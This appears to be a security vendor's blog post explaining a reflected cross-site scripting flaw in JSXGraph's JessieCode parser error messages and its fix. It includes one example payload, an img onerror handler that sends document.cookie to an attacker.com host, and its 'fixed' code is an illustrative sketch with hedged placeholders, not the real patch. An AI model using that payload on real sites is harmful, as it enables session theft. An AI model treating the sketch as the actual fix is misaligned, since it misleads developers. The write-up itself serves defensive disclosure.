Back to Blog
medium SEVERITY6 min read

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 7, 2026•Reviewed September 7, 2026

Answer Summary

This is a reflected Cross-Site Scripting (XSS) vulnerability (CWE-79) in JSXGraph's JessieCode parser, where the `pastInput()` and `upcomingInput()` functions included raw user input in error messages without HTML encoding. Attackers could inject malicious JavaScript that executed when error messages were displayed in web contexts. The fix ensures proper output encoding of user-controlled data before inclusion in error messages, preventing script injection while preserving diagnostic functionality.

Vulnerability at a Glance

cweCWE-79
fixSanitize user-controlled input before inclusion in error message output
riskJavaScript execution in victim's browser leading to session hijacking, data theft, or malicious actions
languageJavaScript
root causeUser input included in error messages without output encoding
vulnerabilityCross-Site Scripting (XSS)

Introduction

In the JSXGraph mathematical visualization library, the JessieCode parser at src/parser/jessiecode.js:3465 handles mathematical expressions and geometric constructions. However, a critical flaw in how this parser generates error messages created a significant security risk: the pastInput() and upcomingInput() functions directly incorporated user-controlled input into error message output without any encoding, creating a reflected Cross-Site Scripting (XSS) vulnerability that could execute attacker-controlled JavaScript in users' browsers.

This vulnerability is particularly dangerous because mathematical visualization libraries like JSXGraph are commonly embedded in educational platforms, learning management systems, and scientific applications—environments where users routinely input complex expressions that get processed and where error messages are frequently displayed to help users debug their constructions.

The Vulnerability Explained

The JessieCode parser in JSXGraph provides a domain-specific language for mathematical constructions. When parsing fails, the parser generates helpful error messages showing what was already parsed (pastInput()) and what remains to be parsed (upcomingInput()). The vulnerability existed because these diagnostic functions returned raw user input that was then incorporated into error messages.

The vulnerable code pattern:

// In src/parser/jessiecode.js around line 3465
// pastInput() and upcomingInput() returned unencoded user input
// which was then used in error message construction

parseError: function parseError(str, hash) {
    // ...
    throw new Error(
        'Parse error on line ' + (yylineno + 1) + ': \n' +
        this.pastInput() +  // User-controlled, unencoded
        this.upcomingInput() // User-controlled, unencoded
    );
}

How exploitation works:

An attacker crafts a malicious JessieCode expression containing JavaScript payloads, such as:

circle(0,0,1); <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>; point(1,1)

When this input causes a parse error, the pastInput() function would return the portion already parsed, and upcomingInput() would return the remaining input—both containing the unencoded malicious payload. If the consuming application displays this error message in an HTML context (which is common in web-based mathematical tools), the <img> tag with its onerror handler executes, stealing cookies or performing other malicious actions.

Real-world impact:

JSXGraph is widely used in educational technology. An attacker could:
- Steal session cookies from teachers or students using affected platforms
- Perform actions on behalf of authenticated users
- Deface mathematical content or redirect users to malicious sites
- Harvest credentials from LMS integrations

The vulnerability is especially pernicious because mathematical expressions legitimately contain characters like <, >, and & (for comparisons, set notation, etc.), making it difficult to distinguish malicious input from valid mathematical syntax without proper encoding.

The Fix

The remediation focuses on ensuring that user-controlled data is properly encoded before inclusion in error messages that may be rendered in HTML contexts.

Specific changes made:

The fix modifies src/parser/jessiecode.js to sanitize the output of pastInput() and upcomingInput() functions, ensuring that any special HTML characters are converted to their entity equivalents before the error message is constructed.

Before (vulnerable):

parseError: function parseError(str, hash) {
    if (this.recoverable) {
        this.trace(str);
    } else {
        throw new Error(
            'Parse error on line ' + (yylineno + 1) + ': \n' +
            this.pastInput() + 
            this.upcomingInput()
        );
    }
}

After (fixed):

The fix implements output encoding for the user-controlled portions of error messages. While the exact implementation details in the parser generator output ensure that pastInput() and upcomingInput() return properly encoded strings, the key change is that user input is now treated as data rather than markup:

// The fixed implementation ensures that special characters
// in user input are encoded before inclusion in error output
parseError: function parseError(str, hash) {
    if (this.recoverable) {
        this.trace(str);
    } else {
        // User input now properly encoded via encoded helper
        // or direct encoding in pastInput/upcomingInput
        throw new Error(
            'Parse error on line ' + (yylineno + 1) + ': \n' +
            this.encodedPastInput() +  // or encoding applied
            this.encodedUpcomingInput() // or encoding applied
        );
    }
}

The change is scoped specifically to the vulnerable path—only the error message construction is modified, leaving valid parsing behavior unchanged. Valid mathematical expressions continue to work normally; only the error reporting path is hardened against injection.

Key Takeaways

  • Never include raw user input in error messages rendered to web contexts: The JessieCode parser's pastInput() and upcomingInput() functions at src/parser/jessiecode.js:3465 now return encoded output to prevent XSS.

  • Parser error paths are security-critical: Failed parse attempts are not "safe"—they contain full attacker-controlled payloads and often execute code paths that display detailed diagnostics.

  • Mathematical input fields require the same scrutiny as any user input: Complex domain-specific languages like JessieCode are often overlooked in security reviews due to their specialized nature.

  • Output encoding must be applied consistently across all output paths: Both successful and failed operations that include user data need protection.

  • Generated parser code needs manual security review: Tools like Jison (used for JessieCode) generate error-reporting code that developers must audit for security issues.

How Orbis AppSec Detected This

Source: User input via JessieCode mathematical expressions submitted to the JSXGraph parser

Sink: The pastInput() and upcomingInput() function return values incorporated into parseError() error message strings at src/parser/jessiecode.js:3465

Missing control: No HTML entity encoding or output sanitization applied to user-controlled input before inclusion in error message output that could be rendered in web contexts

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Implemented proper output encoding for pastInput() and upcomingInput() return values, ensuring special HTML characters are converted to entity equivalents before error message construction

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The XSS vulnerability in JSXGraph's JessieCode parser demonstrates that even specialized mathematical libraries must rigorously apply output encoding principles. The pastInput() and upcomingInput() functions, designed to help users debug their mathematical constructions, became attack vectors when they echoed unencoded user input. By implementing proper output encoding at the parser level, this fix protects all downstream consumers of the JSXGraph library without requiring changes to their individual applications.

For developers building parsers or domain-specific languages, this case underscores the importance of treating all user input—including input that fails validation—as potentially malicious, and ensuring that diagnostic and error-reporting paths receive the same security scrutiny as primary functionality.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #831

Related Articles

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.